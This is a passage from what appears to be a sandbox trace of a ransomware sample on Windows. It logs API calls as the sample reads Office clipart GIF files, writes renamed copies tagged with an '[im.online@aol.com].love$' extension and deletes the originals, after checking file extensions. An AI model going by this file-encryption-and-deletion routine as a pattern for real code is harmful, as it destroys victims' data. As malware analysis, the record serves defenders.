files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.661] GetLastError () returned 0x0 [0117.661] ReadFile (in: hFile=0x394, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x3bcc, lpOverlapped=0x0) returned 1 [0117.668] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x3bd0, lpOverlapped=0x0) returned 1 [0117.670] ReadFile (in: hFile=0x394, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0117.670] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0117.670] SetEndOfFile (hFile=0x374) returned 1 [0117.671] CloseHandle (hObject=0x374) returned 1 [0117.677] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.677] SetEndOfFile (hFile=0x394) returned 1 [0117.678] CloseHandle (hObject=0x394) returned 1 [0117.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0117.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.770] lstrlenW (lpString=".doc") returned 4 [0117.770] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.770] lstrlenW (lpString=".docx") returned 5 [0117.770] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.770] lstrlenW (lpString=".pdf") returned 4 [0117.770] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.770] lstrlenW (lpString=".xls") returned 4 [0117.770] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.771] lstrlenW (lpString=".xlsx") returned 5 [0117.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.771] lstrlenW (lpString=".ppt") returned 4 [0117.771] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.771] lstrlenW (lpString=".zip") returned 4 [0117.771] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.771] lstrlenW (lpString=".rar") returned 4 [0117.771] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.771] lstrlenW (lpString=".bz2") returned 4 [0117.771] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.771] lstrlenW (lpString=".7z") returned 3 [0117.771] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.771] lstrlenW (lpString=".dbf") returned 4 [0117.771] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.771] lstrlenW (lpString=".1cd") returned 4 [0117.771] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.771] lstrlenW (lpString=".jpg") returned 4 [0117.771] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.771] lstrlenW (lpString=".doc") returned 4 [0117.771] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.771] lstrlenW (lpString=".docx") returned 5 [0117.771] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.772] lstrlenW (lpString=".pdf") returned 4 [0117.772] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.772] lstrlenW (lpString=".xls") returned 4 [0117.772] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.772] lstrlenW (lpString=".xlsx") returned 5 [0117.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.772] lstrlenW (lpString=".ppt") returned 4 [0117.772] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.772] lstrlenW (lpString=".zip") returned 4 [0117.772] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.772] lstrlenW (lpString=".rar") returned 4 [0117.772] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.772] lstrlenW (lpString=".bz2") returned 4 [0117.772] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.772] lstrlenW (lpString=".7z") returned 3 [0117.772] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.772] lstrlenW (lpString=".dbf") returned 4 [0117.772] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.772] lstrlenW (lpString=".1cd") returned 4 [0117.772] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0117.772] lstrlenW (lpString=".jpg") returned 4 [0117.772] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.773] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.773] lstrlenW (lpString="AG00157_.GIF") returned 12 [0117.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.892] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=4955) returned 1 [0117.892] CloseHandle (hObject=0x374) returned 1 [0117.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0117.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.892] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.892] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0117.893] GetLastError () returned 0x0 [0117.893] ReadFile (in: hFile=0x374, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x135b, lpOverlapped=0x0) returned 1 [0117.901] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1360, lpOverlapped=0x0) returned 1 [0117.902] ReadFile (in: hFile=0x374, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0117.902] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0117.902] SetEndOfFile (hFile=0x3a4) returned 1 [0117.903] CloseHandle (hObject=0x3a4) returned 1 [0117.904] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.904] SetEndOfFile (hFile=0x374) returned 1 [0117.905] CloseHandle (hObject=0x374) returned 1 [0117.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0117.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.905] lstrlenW (lpString=".doc") returned 4 [0117.905] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.905] lstrlenW (lpString=".docx") returned 5 [0117.905] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.905] lstrlenW (lpString=".pdf") returned 4 [0117.905] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.905] lstrlenW (lpString=".xls") returned 4 [0117.905] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.905] lstrlenW (lpString=".xlsx") returned 5 [0117.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.905] lstrlenW (lpString=".ppt") returned 4 [0117.905] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.906] lstrlenW (lpString=".zip") returned 4 [0117.906] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.906] lstrlenW (lpString=".rar") returned 4 [0117.906] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.906] lstrlenW (lpString=".bz2") returned 4 [0117.906] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.906] lstrlenW (lpString=".7z") returned 3 [0117.906] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.906] lstrlenW (lpString=".dbf") returned 4 [0117.906] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.906] lstrlenW (lpString=".1cd") returned 4 [0117.906] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.906] lstrlenW (lpString=".jpg") returned 4 [0117.906] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.906] lstrlenW (lpString=".doc") returned 4 [0117.906] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.906] lstrlenW (lpString=".docx") returned 5 [0117.906] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.906] lstrlenW (lpString=".pdf") returned 4 [0117.906] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.906] lstrlenW (lpString=".xls") returned 4 [0117.906] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.906] lstrlenW (lpString=".xlsx") returned 5 [0117.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.906] lstrlenW (lpString=".ppt") returned 4 [0117.906] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.906] lstrlenW (lpString=".zip") returned 4 [0117.906] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.906] lstrlenW (lpString=".rar") returned 4 [0117.907] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.907] lstrlenW (lpString=".bz2") returned 4 [0117.907] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.907] lstrlenW (lpString=".7z") returned 3 [0117.907] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.907] lstrlenW (lpString=".dbf") returned 4 [0117.907] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.907] lstrlenW (lpString=".1cd") returned 4 [0117.907] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0117.907] lstrlenW (lpString=".jpg") returned 4 [0117.907] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.907] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.907] lstrlenW (lpString="AG00158_.GIF") returned 12 [0117.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.907] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=5030) returned 1 [0117.907] CloseHandle (hObject=0x374) returned 1 [0117.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0117.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.908] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.908] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0117.908] GetLastError () returned 0x0 [0117.908] ReadFile (in: hFile=0x374, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x13a6, lpOverlapped=0x0) returned 1 [0117.919] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x13b0, lpOverlapped=0x0) returned 1 [0117.920] ReadFile (in: hFile=0x374, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0117.920] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0117.920] SetEndOfFile (hFile=0x3a4) returned 1 [0117.920] CloseHandle (hObject=0x3a4) returned 1 [0117.921] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.921] SetEndOfFile (hFile=0x374) returned 1 [0117.923] CloseHandle (hObject=0x374) returned 1 [0117.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0117.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.924] lstrlenW (lpString=".doc") returned 4 [0117.924] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.924] lstrlenW (lpString=".docx") returned 5 [0117.924] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.924] lstrlenW (lpString=".pdf") returned 4 [0117.924] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.924] lstrlenW (lpString=".xls") returned 4 [0117.924] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.924] lstrlenW (lpString=".xlsx") returned 5 [0117.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.924] lstrlenW (lpString=".ppt") returned 4 [0117.924] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.924] lstrlenW (lpString=".zip") returned 4 [0117.924] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.924] lstrlenW (lpString=".rar") returned 4 [0117.924] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.924] lstrlenW (lpString=".bz2") returned 4 [0117.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.924] lstrlenW (lpString=".7z") returned 3 [0117.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.924] lstrlenW (lpString=".dbf") returned 4 [0117.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.924] lstrlenW (lpString=".1cd") returned 4 [0117.924] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.924] lstrlenW (lpString=".jpg") returned 4 [0117.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.925] lstrlenW (lpString=".doc") returned 4 [0117.925] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.925] lstrlenW (lpString=".docx") returned 5 [0117.925] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.925] lstrlenW (lpString=".pdf") returned 4 [0117.925] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.925] lstrlenW (lpString=".xls") returned 4 [0117.925] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.925] lstrlenW (lpString=".xlsx") returned 5 [0117.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.925] lstrlenW (lpString=".ppt") returned 4 [0117.925] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.925] lstrlenW (lpString=".zip") returned 4 [0117.925] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.925] lstrlenW (lpString=".rar") returned 4 [0117.925] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.925] lstrlenW (lpString=".bz2") returned 4 [0117.925] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.925] lstrlenW (lpString=".7z") returned 3 [0117.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.925] lstrlenW (lpString=".dbf") returned 4 [0117.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.925] lstrlenW (lpString=".1cd") returned 4 [0117.925] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0117.925] lstrlenW (lpString=".jpg") returned 4 [0117.925] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.926] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.926] lstrlenW (lpString="AG00161_.GIF") returned 12 [0117.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.933] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=7583) returned 1 [0117.934] CloseHandle (hObject=0x374) returned 1 [0117.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0117.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.934] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.934] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.936] GetLastError () returned 0x0 [0117.936] ReadFile (in: hFile=0x374, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x1d9f, lpOverlapped=0x0) returned 